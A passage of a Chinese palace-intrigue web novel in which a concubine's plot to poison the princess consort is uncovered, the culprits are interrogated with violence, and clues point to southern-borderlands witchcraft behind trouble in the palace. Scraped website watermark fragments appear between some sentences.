璎珞闻言有些紧张地朝那嬷嬷面上看去,却并未看到多少不满的情绪。 “阮姨娘误会了。” 又朝着阮莹莹躬了躬身,嬷嬷的语气和表情一样平静。 “奴婢看到了方才的经过,对姨娘的遭遇深感同情,有个法子想献给姨娘,不知您愿不愿意听一听?” 她微微掀起眼皮,带着深意的目光和阮莹莹对上。 阮莹莹不由得一愣,这才后知后觉地发现这个嬷嬷瞧着不一般。¨零?点\看¨书/ !蕪!错¢内?容+ “你是什么人》?”她下意识地问道。 嬷嬷又把脑袋低了下去。 “奴婢只是后院里一个不起眼的下人罢了。” “姨娘,您想不想听奴婢的办法?” 她一句话便又将问题带了回来,阮莹莹目光微凝,片刻后道,“什么办法?” 嬷嬷闻言抬头,露出一个胸有成竹的笑容。 “这里不是说话的地方,姨娘,您随奴婢来吧。” 说完,也不等阮莹莹开口,她便率先转身,沿着一条无人的小道而去。 阮莹莹看着那条路,是通往柴房的。 犹豫片刻,她挪动脚步便要跟上去。 “姨娘……” 璎珞不由得出声,一双眼睛不安地盯着那嬷嬷的背影。 这人也不知道是什么来头,万一,万一要对她们不利,那该如何是好? 阮莹莹眼中闪过不悦的光,重重拂袖将她推开! “废物!” 什么事都干不好! 丢下一句话,阮莹莹动身向那嬷嬷追赶而去,璎珞见状跺了跺脚,也只能跟上。 —— “姨娘!你回来了!” 春风居中,萧延正百无聊赖地在屋里自娱自乐,将摆在窗边的一盆垂丝茉莉掐得千头万绪都付诸东流。/如!雯.网^ *已`发`布~醉′辛~彰¨結` 听见院中传来说话的声音,他双眼一亮,连忙跑了出去,又立刻呆住。 “姨娘你这是怎么了?” 眼前的阮姨娘身上有着大块的污渍,头发也有些乱,嘴角红肿,眼睛也好像哭过。 可她却咧着嘴,笑得十分慑人。 还从来没见过这样的阮姨娘,萧延缩了缩脖子,忽然感到有些陌生。 “延儿,走,进屋去说话。” 一眼看见萧延前来,阮莹莹面上的笑容越发灿烂。 她一瘸一拐地走着,快步来到萧延身边,揽住了他的肩头。 萧延有些受宠若惊,跟着阮莹莹进屋的脚步都有些轻飘飘的。 这段时间他虽然一直住在春风居里,阮姨娘也还是对他很好,但两人各自受伤,又总是不快,春风居里的气氛向来是愁云惨雾,一片空虚。 这还是阮姨娘这么多天以来,第一次这么高兴呢! “姨娘,你是不是成功了?” 刚在屋中坐下,萧延便睁大了一双眼睛,饱含期待地朝着阮莹莹看去。 他是知道阮姨娘今天去干什么的。 是不是娘亲那个贱女人已经中招了? 萧延的呼吸急促起来,他有些迫不及待地想看娘亲疼得死去活来,大声哀嚎的模样了。 就像前些日子的他一样! “延儿莫急。” 阮莹莹随口安抚了萧延一句,余光却落在那盆惨遭毒手,已经看不出本来面目的垂丝茉莉上。 平心而论,阮莹莹自认如果她是叶晚竹,也会想把萧延这个成事不足,败事有余的傻子扔得离自己远远的! 这些天把萧延放在春风居里养着,阮莹莹已是心力交瘁。 读书上进这样的词,和萧延简直是毫无关系,倒是好吃懒做,游手好闲之类的事情从不少干。 若只是这样也就罢了,可偏偏,萧延还是个自我感觉十分良好的! 从前为了和叶晚竹争抢,阮莹莹对萧延十分好,这便让他分不清东南西北,真当阮莹莹是他的亲生娘 亲了! 无理的要求一个接着一个地提,阮莹莹不答应,他就装傻充愣,撒泼打滚,誓要达到自己的目的才罢休。 阮莹莹从来没有见过这么惹人讨厌的孩子! 手脚也管得不好,这屋里的东西,没有一样没遭过他的毒手! 可阮莹莹却只是不着痕迹地做了个深呼吸,收回目光对上萧延的时候,面上笑容和蔼可亲。 “今天还不行……” 本以为能听到娘亲倒霉,萧延的笑容已经扬起了一大半,听到阮莹莹这话,又迅速地低落下去。 为什么还不行? 怎么又失败了? 萧延看着阮莹莹的眼神不由得出现了一丝失望。 阮莹莹心下跟着冷笑起来。 他失望个什么劲? 有本事自己去和叶晚竹作对啊。 看热闹还嫌演得不够精彩。 “潇湘院的情况你也知道,被侍卫紧紧把守着,想弄些东西进去并不容易。” 阮莹莹面上的笑容依旧没有半分要减弱的意思,看着萧延越发皱起眉头,她却故作神秘地弯下了腰。 “不过,姨娘又想出了一个新的办法,保管能让姐姐知道厉害!” “是什么?” 萧延已经晦暗下去的脸色又在阮莹莹的语气中重新亮了起来。 阮莹莹眼底的光芒也跟着变得璀璨。 “延儿过来,我悄悄跟你说……” 潇湘院里,叶晚竹一觉睡醒,天边残阳将息。 午觉睡了整整一个下午,她起身活动着腿脚,书画听见声音,很快将晚饭和汤药一同送进了屋中。 对于吃了睡,睡了吃这样的生活已经习惯,叶晚竹搅了搅温热的药液,端起碗来便一饮而尽。 第一百三十一章 敢害王妃?给我站住! 第一百三十一章 敢害王妃?给我站住! “今天怎么样?” 一边吃饭,叶晚竹一边朝着书画发问。?j!i.n-g?w+u\x¢s-.^c′o′m/ 范大夫的汤药有安神的作用,而且效果还十分地好,叶晚竹睡着的时间太多,醒来还是免不了要操心。 书画尽职尽责地担任着传话和总结的角色,一件一件将府中和铺子里的事情讲给她听。 最近一切平稳,没什么需要特别关注的事情,叶晚竹听罢也就放心下来。 “圣上还是没上朝?”她最后问道。 书画抿着嘴唇摇了摇头。 已经十几日过去了,宫中依旧被守得铁桶一般,一点儿消息都传不出来,也不知道到底是出了什么事。 叶晚竹有些放心不下,还曾让人给谢无咎送信,却只得了“无妨”这匆匆两个大字。 不仅回信匆忙,谢无咎这段时间甚至也在东厂闭门不出。 一切的一切,似乎并不是无妨的样子。 “王爷呢?” 叹了口气,叶晚竹又想起了萧子景。 书画撇了撇嘴,表情变得嫌弃起来。 “王爷还是没有回府,听说又到桃杏楼去了。” 比起先前,现在的萧子景俨然一副不管不顾,破罐子破摔的模样,连京中的议论都不在乎了。~x?h·u/l_i-a\n,.+c/o′m_ 先是赌场,后是青楼,现在大家都在说景平王是个只会花天酒地的草包呢! 想着,书画的眼神又不屑了几分。 叶晚竹皱了皱眉,感觉萧子景的所作所为似乎有些不对劲。 最是爱面子的一个人,怎么能容忍流言对他如此不利? 可若要再往下想,叶晚竹却又有些不明白他这么做的意图是什么。 毁掉自己的名声,对萧子景有什么好处? 凝眸思索片刻,叶晚竹的思绪却被一阵突如其来的头疼打断了。 她轻轻吸了口气,抿唇的动作没有逃过一直站在一旁的书画的眼睛。 “王妃不许再想了!” 看了一眼墙角的漏刻,书画忽然挡在叶晚竹面前。 “该休息了,奴婢去叫水来吧。” 她可是听了范大夫的话,要按时伺候王妃休息的! 头疼似有若无,叶晚竹也没勉强自己,洗漱一番便又朝着卧房而去。 不知道是不是今日的确思考过度,叶晚竹感到脚下发虚,每走一步都十分困难。 眼前的景象忽然变得虚幻,她心下一惊,一把抓住书画的胳膊。 “我……” 刚开口,喉头一阵腥甜,一口鲜血猛地从叶晚竹胸中迸了出来! 是黑色的! 有毒! “王妃!” 书画目眦欲裂,一把扶住叶晚竹无力的身子,回头朝外面大喊起来。/l!u~o-l¢a+x!s_..c¨o^m/ “快来人啊!” 范大夫就住在潇湘院的客房,几乎是听到书画喊声的第一时间就冲了过来。 看着叶晚竹软倒在地,大口吐血的模样,范大夫先是一惊,随后又立刻让自己冷静下来。 “去把王妃放到床上,这里我来处理!” 一边说着话,范大夫一边从随身的药箱中取出了银针。 范大夫是可信之人,书画和陈嬷嬷连忙上前照办。 眼看着范大夫开始行针,陈嬷嬷正要离开,却被书画在外屋拦了下来。 “嬷嬷在屋里守着,我去外面看看!” 擦干脸上不知道是眼泪还是汗水的湿意,书画眼中透着满满的凶光。 “王妃吃饭服药前还好好的,肯定是小厨房出了问题!” 敢害王妃? 找死! 撸起袖子,书画转头便向小厨房而去。 等她靠近,却发现这里灯火通明,已经热闹了起来。 小花只穿着中衣,长发披散,甚至连鞋都没穿好,正站在小厨房外,虎视眈眈地盯着所有人。 方才被叶晚竹那边的声音吵醒,小花努力抑制住去看娘亲的冲动,第一时间跑到了小厨房,将所有人都堵住。 她不会医术,去了也没用,还是来找凶手比较好! “谁动的手脚?老实交代!”她叉着腰,一张小脸绷得紧紧的。 潇湘院的小厨房里用的是叶晚竹的陪嫁下人,都是曾经在叶家干活的嬷嬷和丫鬟。 这会儿听着前面传来的声音,所有人都表情惊惶。 “小姐,我们,我们什么都没做啊……” 这是怎么了? 王妃那边为什么这样混乱? 书画这时候快步走上前来。 “王妃中毒了,今天都发生了什么,赶快一一道来!” “什么?” 小厨房的下人闻言越发震惊,随后便七嘴八舌地回忆了起来,随后发现今天和往常并没有任何不同。 书画的目光便朝小 厨房中投去。 嬷嬷们都是可信之人,既然她们什么都没有发现,那问题应该就出在入口的东西上了。 食材,还有草药。 书画沉着脸往屋中而去。 就在这时,一旁漆黑的树丛中忽然传来一阵响声。 “谁!” 转头看去,书画一声低喝,众人也立刻朝着发声方向看了过去。 有人打起灯笼往前走了几步,那窸窸窣窣的声音顿时变得更加急促! 众人脚下的动作也变得更快,灯光渐渐将树丛照亮—— “别跑!” 小花大喝一声,人却朝着另一个方向猛地扑了过去! “我看见你了孙子!” 一个黑影从小厨房的窗下一闪而过,正朝着与书画等人相反的方向拔腿狂奔! 是声东击西! “站住!”小花拔腿跟了上去。 那黑影见状跑得更快,小花闷头苦追,将书画喝令众人停下,仔细搜查小厨房附近的声音远远地抛在脑后。 直觉告诉她,这个黑影就是她们要找的人! “狗东西你给我站住!” 大吼一声,小花脚下再度加速,很快就和那个黑影拉近了距离。 对方似乎并不是多么身强力壮之流,方才占了几分先机,这会儿已经被小花撵上,呼吸变得混乱起来。 小花跑丢了一只鞋也速度不减,一只手重重按在对方肩头,“你个——啊!” 没想到她刚开口,那黑影抬手一扬,白色粉末顿时洒了下来! 难闻的气味散开,小花立刻感到全身发麻,不能自控地跪倒在地。 是迷药! “你给我站住……” 眼前发黑,天旋地转,小花犹不死心,死死地盯着那团黑色的影子。 视线消失的前一刻,怎么有一抹红痕? 第一百三十二章 是小世子干的! 第一百三十二章 是小世子干的! 谢无咎一脚将那黑影踢出到几步开外,听着对方发出一声尖锐的惨叫,面上神情比阎罗还阴沉。!??看.:@书|{a君o d*更$ˉ新§?t最{t全?& “找死。” 他用脚尖将对方翻过身来,昏暗的灯笼下露出一张惊惶欲绝的小脸。 这小丫鬟满脸是血,被方才那一脚踢得已经神志不清。 一个布包从她身上滚出来,浓郁的药味顿时传入谢无咎鼻端。 是药渣? “九,九千岁!” 这个时候,在隐月的解药作用下,小花也已经恢复了清醒。 她大喊一声,第一时间朝这边冲了过来,脚下还有些踉跄,面上的凶戾神色倒是半分不减。 “就是她给娘亲下毒!” 一边控诉着,小花抬脚又要朝这丫鬟踹去,却被谢无咎及时拦下。 “再挨打可能就要没命了。” 垂眸扫了一眼地上丫鬟奄奄一息的模样,谢无咎立刻朝小花示意,“带我进去。” 方才小花追着这丫鬟已经跑出潇湘院一大截,此时回到院中,里面虽然仍是人心惶惶,但已经基本安静了下来。 书画领着院里的下人,将叶晚竹的房间牢牢围住,人人手里举着灯笼,将周围照亮得如白昼一般。 见到谢无咎出现,院中更是鸦雀无声。?·白§d马d_#书u&院}\ ?ˉ?更¢;新#`{最-¨快1t 卧房房门紧闭,隐风一脸戒备地守在廊下,见到谢无咎才缓和了面上神情。 感觉情况不对,隐川便立刻往东厂送去了消息。 “怎么样了。”谢无咎径直开口发问。 “范大夫还在施针。” 隐风压低声音,目光有些飘忽。 在自己眼皮子下面让王妃中了毒,隐风这会儿又是懊悔又是自责。 他怎么能让王妃出事呢? 谢无咎眼底再不见往日的戏谑,乌沉沉的,让人连与他对视的想法都生不出来。 他似乎想对隐风说什么,最后却还是没开口,转而朝身后招了招手。 隐月立刻将那个小丫鬟反剪着双手送到谢无咎面前。 “这是什么人?” 谢无咎的目光锁定在了书画身上。 书画就站在门边,早就看见了被抓到的凶手,这会儿咬牙切齿地露出一个笑容。 “萍儿,好久不见啊。” 几个月前,因为收了萧延的好处,替他往潇湘院传递消息,叶晚竹将萍儿遣到了观竹苑,后来众人便渐渐将此事淡忘过去。 没想到,会在今天这样的场合看见她! 书画胸膛起伏,需要用尽力气才不让自己怒吼出声。uu¨看?$\书?君+? ¤最o新|~#章ud?节t¤更[新?o快- “你个吃里扒外的,都干了什么?快把解药拿出来,否则,要你好看!” 萍儿身上裹着的黑袍子已经被兜头解下,露出一张惨白的脸,半干的血迹糊在上面,显得有些瘆人。 她张着嘴想哭嚎,还没发出声音便被谢无咎一把掐住了脖子。 “小声说。” 比起书画的凶神恶煞,谢无咎这会儿甚至是笑着的,语气也很柔和。 可萍儿却立刻哆嗦起来,又吐出一口鲜血。 “谁让你来的?”谢无咎继续温声开口,“本督只给你一次机会,说不好,后果自负。” 萍儿的眼泪又刷刷地流了出来。 “是小世子,奴婢都是听他的命令才这么做的!” 想哭想喊,却都被谢无咎死死地掐在喉间,萍儿声如蚊蚋,一张脸因为窒息也涨得通红。 她求饶地望着谢无咎。 “奴婢什么都不知道!小世子今晚只让奴婢混进潇湘院把药渣偷走!” 萍儿不是叶晚竹的陪嫁丫鬟,在王府也没多少熟人,王妃把她赶去观竹苑,她便只能老老实实地过去干活。 伺候萧延并不是一件容易的事,小世子有命,萍儿不敢不从! “九千岁,奴婢真的,真的……” 还想说些什么,萍儿忽然感到脖颈上袭来一股大力,根本没有半分抗衡的可能,她便双眼一翻,晕死了过去。 萧延。 谢无咎不出声地念叨了几遍这个名字,神情晦暗难明。 小花已经攥着拳头,愤怒地哼哼了起来。 等娘亲醒了,她一定要把萧延揍得连爬都爬不起来! “王妃!” 屋中这时响起了陈嬷嬷欣喜的喊声! —— 叶晚竹睁开双眼的时候,先是感到一阵阵晕眩,紧接着,喉咙仿佛是被人用刀割开过一样,火辣辣地疼着。 她下意识地想抬手摸摸脖子,却发现自己现在只有喘气的份。 “王妃?您怎么样?” “娘亲你醒了?” 书画和小花的声音依次在耳边响起,屋中脚步声更多,叶晚竹眨了眨眼,感到世界 渐渐清晰起来。 有人扶着她坐起身,又在背后垫好了枕头。 叶晚竹看着灯火通明,又人满为患的房间,一面回忆着晕倒前发生的事情,一面缓缓扫过屋中—— 她是不是眼花了? 怎么在这里看见了谢无咎? “九千岁怎么来了?” 开口说话,叶晚竹险些认不出自己的声音。 嘶哑,艰涩,好像被砂纸磨过,一看就是受了重伤。 不仅如此,说话牵动胸腔,叶晚竹又感到喉头漫上一阵腥甜。 谁这么暗算她? 叶晚竹眯了眯眼。 “无关人都下去吧。”谢无咎并未回答叶晚竹的问题,而是朝屋外摆了摆手。 丫鬟嬷嬷们很快离开,关上房门,书画立刻将叶晚竹昏迷这段时间发生的事情说了出来。 萍儿这会儿也被带到屋中,匍匐着跪在床边瑟瑟发抖。 范大夫捧着放药渣的布包坐在桌边,对着油灯,将里面的东西一样一样拿出来仔细观察。 等书画的讲述到了尾声,她也从药渣里挑出了十几块黑漆漆的东西。 “这是木骨,有剧毒。” 深吸一口气,范大夫的手不自觉地颤抖着。 “王妃的药中有一味熟地黄,二者的形状和气味几乎都一模一样,混在一起很难被发觉。” “木骨?” 一直安静抱臂站在一旁的谢无咎忽然疑惑出声。 “我从来没有听说过还有这样一味药。” 范大夫犹豫片刻,抬起头,眼底眸光闪烁。 “因为这种药材,只有南疆才有。” 又是南疆? 叶晚竹下意识地朝谢无咎看去,又正好和他目光相撞。 谢无咎的嘴角几不可查地绷紧了一瞬。 “隐风,去把萧延给我带过来!” 第一百三十三章 狗咬狗咬狗 第一百三十三章 狗咬狗咬狗 收回目光,叶晚竹先将注意力移回眼下。°|求e(;书#?帮o ^更*(新??最?u全¢ 这叫木骨的毒药能进到潇湘院里,仅凭萧延和萍儿定是不可能完成的。 这背后一定还有问题! 隐风领命而去,半柱香后回转,却买一赠一,带回了两个不断挣扎着的人。 “王妃,据小世子供述,那药是阮姨娘让他下的,小的便将两人一起带回来了。” 将两人丢在地上,隐风垂着头,语气无波无澜。 说来也巧,他到春风居的时候,正赶上萧延从阮莹莹屋中被送出来,口中还说着自己害怕,一个人睡不着觉等等。 等一回头看见隐风,萧延立刻双腿一软,还没等他开口便连声将阮莹莹卖了出来。 就这点胆子,也敢做下毒这样的坏事? 彼时屋中已经清理一新,叶晚竹仍是浑身无力,靠在床头,由书画代她出声发言。 “为何要给王妃下毒?”书画柳眉倒竖,“阮姨娘,你也太放肆了吧?” 明着斗不过王妃,阴招倒是越来越多了! 阮莹莹跪坐在地上,抬头朝叶晚竹这边看来,眼神十分无辜。 “姐姐,我怎么会做这样的事情呢?” “姨娘莫要装傻了吧?”书画冷笑着,“你早些交代,还能少吃点苦头。}e 阮莹莹仍是睁大双眼,面露茫然,“我真的什么都不知道——” 一句话还没说完,看着从屏风后缓步踱出来的谢无咎,阮莹莹大张着嘴,还没出口的说辞硬生生地全都卡住了。 九千岁怎么会在这儿? 这个时间? 还在叶晚竹屋里? 阮莹莹怀疑的目光控制不住地朝两人身上落去,看着叶晚竹的时候难掩恨意。 方才在春风居见到隐风,阮莹莹便知道这是要大事不好! 可她一路走来都想不明白,叶晚竹怎么可能发现呢? 那毒药不是很厉害吗? 等这会儿看见九千岁,阮莹莹忽然感觉自己悟了! 有九千岁在,难怪呢! 收回目光,阮莹莹愈发不甘起来。 叶晚竹怎么就这么幸运,这么难杀呢? “阮姨娘,还疼吗?” 谢无咎这时候含笑开了口,听着他这话,阮莹莹忽然感到背上的伤口密密麻麻地疼了起来。 她咬紧嘴唇,想沉默以对,却发现九千岁并没有等她回答的意思。 “本督看姨娘定是已经痊愈了,否则,也不会有这样的闲心,连王妃也敢毒害。?_§如°<:文\网& £!首-?§发t+±” “看来,这萧家的家法实在是不怎么样,连让人长长记性的本事都没有。” 谢无咎说着话,脚步轻移,走到放着金杖的那面墙前。 “王妃若是不介意,本督想借金杖一用。” “九千岁自便。” 叶晚竹哑着声音点了点头。 她的嗓子这会儿更疼了,范大夫施针的时候让她将今晚的汤药全都吐了出来,叶晚竹仿佛能感到毒液刮过咽喉时留下的针扎般的痛觉。 若不是她全身无力,这顿打都不用假于人手。 谢无咎将金杖取来拎在手中,笑眯眯地看着阮莹莹。 “本督那手下大约也荒于习武,这回,还是本督亲自动手好了。” 让谢无咎动手? 那她还能留下自己这两条腿吗? 心下一颤,阮莹莹下意识地转身想跑,下一刻就被谢无咎一杖子扫在脚腕,结结实实地摔倒在地! “阮姨娘意图毒杀王妃,本督可是亲眼得见,这样的罪名,就算本督现在就打杀了你,也是理所应当。” 跟手上狠厉的动作不同,谢无咎的声音仍是轻柔的。 “在此之前,姨娘有没有什么遗言要说?” 不过几句话的功夫,怎么就从家法变到要说遗言了? 阮莹莹瞪大双眼,哆嗦着直起身子,“我,我……” 可看着谢无咎的样子,她连拒绝的话都很难说得出口。 谢无咎不错眼珠地盯着阮莹莹,心里当真涌动起了一丝杀意。 往日里那些都是小打小闹,当做生活里的一点调剂也不错,可如今,阮莹莹已经动了要杀人的念头,这就不太好了。 “这毒药,姨娘是从什么地方弄来的?” 就在这时,书画的声音插了进来。 谢无咎微微一顿,随即若无其事地收了声。 叶晚竹直起身子,看向一滩烂泥般的阮莹莹,对上她茫然不解的目光。 她有些费力地发声,“妹妹看上去并不知道你给我下的是什么毒呢。” 不是慢慢置人于死地的毒药吗? 阮莹莹的脑子忽然空茫了一瞬,半张着嘴巴,似乎终于察觉到有什么地方不对劲了。 叶晚竹见状也越发肯定自己的 猜测。 给她下一味立刻就发作的剧毒,显然不符合阮莹莹的想法。 她死在府中,又刚吃过晚饭,这案子调查起来,凶手的范围实在是太小了。 阮莹莹怎么会把自己也搭进去? 看着她这副呆滞的表情,叶晚竹轻笑一声。 “说吧,妹妹这是又得到什么‘好心人’的帮助了?” 连是什么药都不知道,就敢拿来害她? 阮莹莹这怕是被人当枪使了,自己却还没发现呢。 缓了口气,叶晚竹这才把那木骨的药性说出来。 阮莹莹眸光大乱,就连缩在一旁,假装自己不存在的萧延都忍不住抬起头来。 怎么会是这样的药呢? “不可能,不,不可能啊!”阮莹莹完全不敢相信这个事实。 “如果真不可能的话,妹妹现在就不会在这儿了。” 叶晚竹有些不耐,说话越多,她的嗓子便越难受。 “你还是痛快点交代比较好,否则——” 阮莹莹下意识地往依旧被谢无咎拎在手中的金杖身上看了一眼。 这回没再犹豫,她痛痛快快地将那个嬷嬷说了出来! 敢算计她! 这嬷嬷也别想跑! 听了嬷嬷的样貌身形,谢无咎一个眼神扫向屋外,隐月忙不迭地转身离去。 早在谢无咎来到景平王府的时候,便将这块地方牢牢守住,一只苍蝇也别想飞出去。 做下这样的事情,那嬷嬷必然不会大喇喇地留在自己惯常的地方。 隐月离开了大约两炷香的时间才再度现身,走进屋中的步伐却十分沉重。 “主子,这人服毒自尽了!” 第一百三十四章 南疆,又是南疆 一把将那嬷嬷还没来得及变凉的尸体抛到地上,隐月沉着眸子,“她躲在后院,看来还想找机会逃跑,实在没办法才服毒的。” 阮莹莹被迫和嬷嬷死不瞑目的双眼对视片刻,一声尖叫噎在喉咙口,那嬷嬷又被谢无咎翻了过去。 看着嬷嬷嘴角还没干涸的黑色血迹,谢无咎又掰开她的嘴,对着已经咬破的毒囊冷笑一声。 “带回东厂,仔细查查,这做派,可不是一般的嬷嬷。” 寻常在府里伺候主子的下人,谁会往自己齿间藏毒? 叶晚竹也挑了挑眉。 萧子景先前买来的那些下人,这段时间她都已经认清了脸,而这嬷嬷瞧着面生,也不知道是怎么混进王府的? “主子,王妃。” 隐翼这时候从屋外走了进来。 “这嬷嬷在静心居出现过。”他一点儿犹豫都没有,“属下亲眼看见的。” 阮莹莹随着隐翼的话又瞪大了双眼。 这不是东厂的人吗? 怎么能亲眼看见静心居的事情? 九千岁无所不知的传闻又出现在脑海当中,阮莹莹伸手默默地捂住自己的嘴,感到背上的冷汗一层又一层地冒了出来。 连静心居的事情都知道,那她的所作所为,岂不是完全无处遁形? 阮莹莹的心思这会儿没人在乎,叶晚竹和谢无咎都看着那嬷嬷的尸体。 静心居,这嬷嬷是萧子易的人? 叶晚竹上次出手,将萧子易的一双腿砸得粉碎,除非有会治骨伤的神医,否则,萧子易怕是再也别想站起来走路了。 “你是什么时候看到她的?”叶晚竹又看向隐翼。 “最早在大半个月之前。”隐翼道。 那正是她刚把萧子易的腿打断的时候。 如此说来,萧子易起不了身,也出不了门,那和他会面的神秘人便只能换一种方式来联络了? 倒是颇有几分不离不弃的精神。 隐翼这会儿却又皱了皱眉。 他这段时间并不整日盯着王府,可该关注的地方却也一个都没落下。 这嬷嬷刚到静心居的时候便被隐翼注意到了。 毕竟是生面孔,隐翼看了她几日,发觉这嬷嬷只是照顾萧子易的起居,并没有别的动作,这才放下心来。 那个时候,隐翼敢打保票,这嬷嬷浑身上下没有一点儿会武的痕迹! 可刚刚听阮姨娘的说辞,这嬷嬷不仅会武,功夫还相当不错! 难道能在他之上? 想到这种可能,隐翼的脸色更加难看起来。 “去把萧子易带来。” 谢无咎又开了口,语气平静,却无端让屋中之人都生出山雨欲来的紧迫感。 “王妃,借院子一用。” —— 萧子易被抬到潇湘院的时候已是二更天了。 他只穿着中衣,头发也不曾束起,睡眼朦胧,明显是被人从梦中硬生生抓起来的。 被重重地丢在地上,萧子易甩着两条完全使不上力气,甚至都已经感觉不到存在的腿,愤怒而警惕地左右看着。 “你是什么人?把我带到这儿干什么?” 萧子易对着面无表情的隐翼怒目而视。 “大老爷不知道吗?”隐翼微微瞠目,“您自己做过的事情,不会这么快就忘了吧?” “我,我做过什么?” 萧子易梗着脖子反问回去,却多少显得色厉内荏。 看出他的心虚,隐翼忽然笑了起来。 “大老爷一会儿就能全想起来了。” 萧子易的脸色又变了变,想说话,谢无咎却已经从屋中走了出来。 见到这位,萧子易肉眼可见的慌张。 “九,九千——嗷!” 不给他一点开口的机会,谢无咎一脚踩在萧子易已经没了形状的左腿上! 剧痛袭来,萧子易翻了个白眼就要晕倒,却又被另一阵更加猛烈的疼痛刺激得重新睁开双眼。 他头皮发麻,泪水不自觉地疯狂涌出。 “疼吗?” 纤细而刻意放缓的声音从耳边传来,萧子易浑身一颤,疼得动弹不得,却又被谢无咎一把扯住了头发。 谢无咎更加俯身下去,轻言细语地靠近萧子易的耳畔。 “你的好主人怎么还不来救你?” 被谢无咎扯着的躯体顿时有了一瞬的僵硬。 他松开脚下的力道,看着萧子易眼中的痛楚消失几分,转而又漫上了更深的恐惧。 “九千岁,您,您这是什么意思?” 捱过疼痛,萧子易对上谢无咎的眼睛,却又感觉自己好像被一条毒蛇盯着。 他狼狈地移开目光,下一刻,头皮却又被用力扯了起来。 “本督没有跟你打哑谜的心思。” 谢无咎的口气变冷了几分。 “你没见过你那好主子的脸,不过,你们说话的时候,他的声音听起来是什么样子的?” 这副不需要任何解释,也做不出半点辩驳的态度,让萧子易哆嗦得更加厉害。 九千岁这么问,他知道了多少东西? 这怎么可能呢? “我,我实在不明白……” 心下慌张万分,萧子易却依旧试图狡辩。 腿上再度传来剧痛,他咬着牙,后面的话顿时说不出来了。 “你不说,是想让本督猜?” 谢无咎近乎好奇地垂下目光,一只手掐住萧子易的下巴,不让他的目光有半分游移的机会。 “那本督就猜……你的好主子说话的时候,有几分南郡口音。” 他轻飘飘地一句话落下,萧子易却仿佛生根了一般,被定在原地。 得到了自己想要的答案,谢无咎微笑起来,带着说不出的凶戾。 “隐月,”他信手一抛,“把这个也带回去,他知道的东西,还多得很呢!” 隐月上前一掌将想大喊大叫的萧子易击晕后扛在肩上抬走,谢无咎望着他离开,脚下却难得犹豫地顿了顿。 走还是留? “九千岁留步。”叶晚竹的声音这时候隔着窗户传了出来。 叶晚竹在屋中旁观了谢无咎审问萧子易的全程,听着两人的话,她眼中有异光不断闪烁。 南疆,南疆。 这已经不知道是叶晚竹第几次听到与南疆有关的内容了。 从谢无咎的举动看来,此事非同小可。 叶晚竹抬眸看着他从屋外缓步而来。 “宫中出事了,”她语气笃定,“也和南疆有关?” 第一百三十五章 这是谁在偷偷恨她? 叶晚竹定定看着谢无咎的动作,又闻到了一股奇异的草药味道。 刚醒来看到谢无咎的时候,叶晚竹便闻到这屋中有些奇怪,只是当时环境复杂,她也顾不上验证。 如今这药味随着谢无咎进出而出现,让她更加确定自己的想法。 谢无咎这段时间一直都在宫中,来救自己一回还算正常,可他插手王府的事务,这就有些不对劲了。 不同于对苏姨娘等人的恶作剧,谢无咎方才审讯萧子易的时候,可是动了真格的。 再加上频繁出现的与南疆有关的种种线索,叶晚竹只能想到这一种可能。 “宫中到底出了什么事?” 屋里的下人都已经离开,眼下只有叶晚竹和谢无咎在场,听着她的问话,谢无咎长袍一掀,先在床边坐了下来。 与此同时,叶晚竹眼前一暗,看着他顺手将床帐放下,两人顿时被笼罩其中。 “王妃真想知道?” 黑暗中,叶晚竹看不清谢无咎的神情,只能听到他带笑的声音。 还有……一丝血腥气。 “你受伤了?”叶晚竹立刻挑眉。 谢无咎微微一顿,“是别人的血。” “谁的?” 叶晚竹继续追问,颇有几分不依不饶的架势,谢无咎不由得低笑一声。 “王妃可是在担心本督?” “是啊。”叶晚竹回答得十分理直气壮,“都督大人可不能出事。” 否则,于公于私,她都会伤心的。 叶晚竹这一句话落下,面前半晌没有声音传来。 她忍不住将床帐掀开一角,让光线投进几许,照亮了谢无咎略显苍白的脸色。 “若是本督日后当真出了什么事,王妃要如何?” 被叶晚竹这般看着,谢无咎忽然薄唇一掀,吐出的话乍一听有些莫名其妙。 叶晚竹却抱起了双臂。 “到底是什么事?能让堂堂九千岁张口闭口咒起自己来了?” 她眉头微皱,话说得太多,这会儿嗓子更疼了。 面前冒出一杯温水,叶晚竹看了看端着杯子的那只手,接过来慢慢抿了几口。 谢无咎收回动作,方才的软弱似乎只是假象,他已经恢复了往日的模样。 “王妃猜的不错,宫中确实出事了,而且还不小。” 待到叶晚竹放下杯子,谢无咎这才不紧不慢地开了口。 “王妃可还记得柔妃娘娘?”他若有所思地朝叶晚竹看去。 叶晚竹的确已经很久没听到过关于柔妃的消息了,自从她被昭德帝下旨思过,便如同消失在众人眼中一般。 说起来,柔妃从前虽然得宠,但萧家是新贵,没有根基,柔妃在后宫的风光也只是仗着昭德帝的喜欢罢了。 是以她一朝失宠,树倒猢狲散的景象人人都能猜到。 不过,柔妃娘娘本人却并没有就此罢休。 柔妃倚仗的是圣上的宠爱,要想重新风光起来,自然还是将主意打在昭德帝的身上。 寻常妃子在后宫争宠的手段被柔妃娘娘用了个遍,可昭德帝本就事忙,刻意冷落之下又故意避开蕙心宫,柔妃折腾了一个多月,连圣上的一面都没有见到。 心急如焚之下,柔妃的手段更是层出不穷,一不小心就出了问题。 “柔妃偷偷耍弄邪术,整日施法,试图控制圣上的心智,让他老人家回心转意。谁知圣上那日忽然去了蕙心宫,好巧不巧地抓了个正着。” 谢无咎语气婉转地说着如此惊心动魄的内容,大概是话说多了口干,动作十分自然地将叶晚竹手里的杯子拿过去喝水。 叶晚竹的注意力已经被邪术这两个字完全吸引了过去。 “什么邪术?”她又一顿,“和南疆有关?” 谢无咎笑眯眯地打了个响指。 “王妃猜得一点儿不错,柔妃娘娘买通了负责采买的宫人,将一应材料偷偷运进蕙心宫,每天在殿中焚香念咒,服用符水,还捏了小人。” “御林军在大殿里还搜到了不少天书一样的咒语,据柔妃娘娘说,这些都是将圣上吸引到蕙心宫的办法,经过检查,所有东西都与南疆有关。” “如今柔妃娘娘走火入魔,形如疯癫,圣上让人在后宫查察,竟然找不出柔妃娘娘的帮手,只好让本督前去,要把皇宫翻个底朝天。” 叶晚竹闻言也能想到那荒唐的场面。 柔妃这是疯了,竟然敢给昭德帝捏小人,巫蛊之法放在宫中任何一人身上,后果都是承担不起的。 可只是这样,便能让昭德帝十几日关闭宫门,拒不露面? 听着叶晚竹将心里的疑问道出,谢无咎的笑容有些飘忽起来。 “王妃还是暂时不问为好。” 他淡笑着看向叶晚竹,叶晚竹的一颗心暗自颤抖着。 